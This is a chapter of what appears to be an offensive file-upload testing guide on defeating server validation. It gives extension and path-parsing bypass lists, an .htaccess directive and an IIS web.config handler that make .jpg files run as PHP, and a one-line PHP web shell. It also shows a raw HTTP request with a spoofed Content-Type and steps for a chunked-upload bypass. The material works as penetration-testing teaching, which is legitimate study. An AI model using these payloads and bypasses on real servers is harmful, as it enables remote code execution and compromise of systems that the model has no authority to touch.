Skip to content

Chapter 1

Defeating the validation gate

Bypassing extension filters, content-type checks, and path normalization.

3 min readFile Upload

The validation gate is the first bouncer your upload meets before hitting disk. Because teams often hand-roll custom regular expressions or short blocklists here, small edge cases slip right past it.

If the server blocks .php, do not stop there. Web servers routinely map several lesser-known suffixes to the exact same script interpreter.

Terminal window
.php blocked? Try: .php5, .php7, .phtml, .phar, .pht, .phps, .pgif, .shtml
Double extensions: shell.jpg.php, shell.php.jpg, shell.PHP, shell.pHp

On Microsoft IIS environments, test .asp, .aspx, .cer, .asa, and .ashx. On Java environments, test .jsp, .jspx, .jsw, .jsv, and .war. On Node or Python servers, check whether .js, .mjs, .py, or .cgi execute.

When a server implements an allowlist, confuse the path parser. Older runtimes and file systems process special characters unevenly.

  • Null byte injection: shell.php%00.jpg terminates path strings in legacy C runtimes.
  • Parser confusion: shell.jpg containing PHP code can execute under specific server configurations.
  • Partial matches: shell.phtml bypasses filters that only match image names using loose string checks.
  • Script images: shell.svg is an image format that also runs client scripts.
  • Web documents: shell.html uploads cause stored cross-site scripting when served inline.

The .htaccess upload technique enables code execution without uploading a .php file. If the upload folder permits configuration files, upload a file named .htaccess.

AddType application/x-httpd-php .jpg

This directive instructs Apache to treat .jpg files as executable PHP scripts. Next, upload a normal image named avatar.jpg containing web shell code.

<?php system($_GET['c']); ?>

When you request avatar.jpg, Apache executes the PHP code. This technique requires only two files, zero .php extensions, and standard directory permissions. On Microsoft IIS servers, upload a web.config file to achieve the same result.

<configuration>
<system.webServer>
<handlers>
<add name="PHP-FastCGI" path="*.jpg" verb="*" modules="FastCgiModule" scriptProcessor="C:\php\php-cgi.exe" resourceType="Either" />
</handlers>
</system.webServer>
</configuration>

Many servers only inspect the Content-Type header sent by the client. Because the browser controls this header, an attacker can modify it in a proxy.

POST /upload HTTP/1.1
Host: target.com
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg
<?php system($_GET['c']); ?>

If the server relies exclusively on this header, the upload succeeds. When the server also inspects magic bytes, polyglot files are required.

Run these tests against every upload endpoint.

  1. Double extension: Send shell.php.jpg and shell.jpg.php.
  2. Trailing dot or space: Send shell.php. or shell.php to exploit Windows file name normalization.
  3. Semicolon character: Send shell.asp;.jpg to exploit IIS path parsing.
  4. Case variation: Send shell.PhP or shell.PHTML against case-insensitive file systems.
  5. Unicode homoglyphs: Send shell.phр with a Cyrillic character to bypass naive string filters.
  6. Parameter pollution: Send file[]=a.php&file[]=b.jpg when frameworks process array parameters.

Large file endpoints often split one upload into many small requests. Protocols such as tus and custom multipart chunking send the file in pieces. The server reassembles the pieces and then stores the final object. A frequent flaw is that validation runs on the first chunk only. The first chunk carries a clean image header and passes the type check. A later chunk carries the script payload that the check never inspected.

Test the reassembly boundary in these steps.

  1. Start a resumable upload with a clean first chunk that looks like an image.
  2. Send a later chunk that appends <?php system($_GET['c']); ?> to the body.
  3. Finish the upload and request the stored path.
  4. Confirm whether the server validated the whole object or only the opening chunk.

Also test the chunk offset and the upload identifier. Some servers trust a client offset and let one upload corrupt another already in flight. Change the offset or upload identifier to one you do not own and check for cross-upload corruption.

Next, when the server checks file bytes instead of names, move to Chapter 2 on polyglots.

File UploadFor authorized testing only.